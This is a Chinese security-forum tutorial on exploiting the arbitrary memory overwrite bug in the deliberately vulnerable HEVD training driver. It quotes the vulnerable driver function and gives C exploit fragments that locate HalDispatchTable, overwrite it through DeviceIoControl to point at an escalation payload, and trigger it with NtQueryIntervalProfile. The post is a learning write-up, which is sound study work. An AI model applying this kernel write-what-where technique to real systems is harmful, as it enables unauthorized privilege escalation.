首页
论坛
课程
招聘
[原创]HEVD内核漏洞学习(6)任意内存覆盖
2020-11-4 20:38 3605

[原创]HEVD内核漏洞学习(6)任意内存覆盖

2020-11-4 20:38
3605

0x00前言

第六篇了 讲任意内存覆盖 对于本节还是容易理解的 觉得发的有点没意义。。。。。因为有很多师傅都写过QAQ。。。。。。

0x01漏洞原理

基本概念是覆盖内核调度表中的指针 将其指向shellcode的地址

函数分析

这个函数申请完内存后 在漏洞版本下 未检查what和where指针 而是直接引用 所以我们如果控制了what指针地址的值指向shellcode就可以完成利用
TriggerArbitraryWrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
        // ProbeForWrite() routine before performing the write operation
        //
 
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");
 
        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //
 
        *(Where) = *(What);        //漏洞点
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    //
    // There is one more hidden vulnerability. Find it out.
    //
 
    return Status;
}

0x02漏洞分析

先下断点偏移计算就用之前的方法就可

1
bp HEVD!TriggerArbitraryWrite+71

查看what的值 发现并不是shellcode的地址 而是跳转表

下个断点 单步运行几次 发现到了shellcode的地址

 

what和where指针在WRITE_WHAT_WHERE结构体中 前四个字节是what 后四个是where 对于IO控制码的问题 还是跟之前一样 在IDA中查看即可

1
2
3
4
typedef struct _WRITE_WHAT_WHERE {
        PULONG_PTR What;
        PULONG_PTR Where;
    } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

我们需要将where指针覆盖到一个安全的地址 先查看NtQueryIntervalProfile+0x62 然后查看KeQueryIntervalProfile 覆盖指针数组的即可 这个函数在内核中用的很少 所以可以覆盖

 

0x03漏洞利用

获取ntkrnlpa.exe基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
 
// Allocate the Heap chunk
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                                                 HEAP_ZERO_MEMORY,
                                                                 ReturnLength);
 
if (!pSystemModuleInformation) {
    DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
    exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
                                    pSystemModuleInformation,
                                    ReturnLength,
                                    &ReturnLength);
 
if (NtStatus != STATUS_SUCCESS) {
    DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
    exit(EXIT_FAILURE);
}
 
KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;

get HalDispatchTable地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// This is still in user mode
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); //用户模式加载ntokrnl.exe
 
if (!HalDispatchTable) {
    DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
    exit(EXIT_FAILURE);
}
else {
    HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)hKernelInUserMode); //得到HapDispatchTable偏移
 
    // Here we get the address of HapDispatchTable in Kernel mode
    HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)KernelBaseAddressInKernelMode);
 
    DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable);
}

调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
                                              HEAP_ZERO_MEMORY,
                                              sizeof(WRITE_WHAT_WHERE));
HalDispatchTable = GetHalDispatchTable();                                             
WriteWhatWhere->What = (PULONG_PTR)&EopPayload;
WriteWhatWhere->Where = (PULONG_PTR)HalDispatchTablePlus4;
 DeviceIoControl(hFile,
                HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
                (LPVOID)WriteWhatWhere,
                sizeof(WRITE_WHAT_WHERE),
                NULL,
                0,
                &BytesReturned,
                NULL);

调用NtQueryIntervalProfile

1
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");

成功!

0x04补丁分析

安全版本中 检查了where和what指针 通过验证可进行指针的操作

 

0x05经验总结

这次的分析过程中碰到了点小困难 最后也算是解决了 中途去看了wjllz师傅的文章 了解到很多 边学习边复现 这个涉及的蛮多的 也不算是简单吧 还有就是对于shellcode的跳转为什么不是直接跳转呢 而是进入跳转表跳转 emmm 疑惑。。。。


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

最后于 2020-11-4 20:59 被Ring3编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回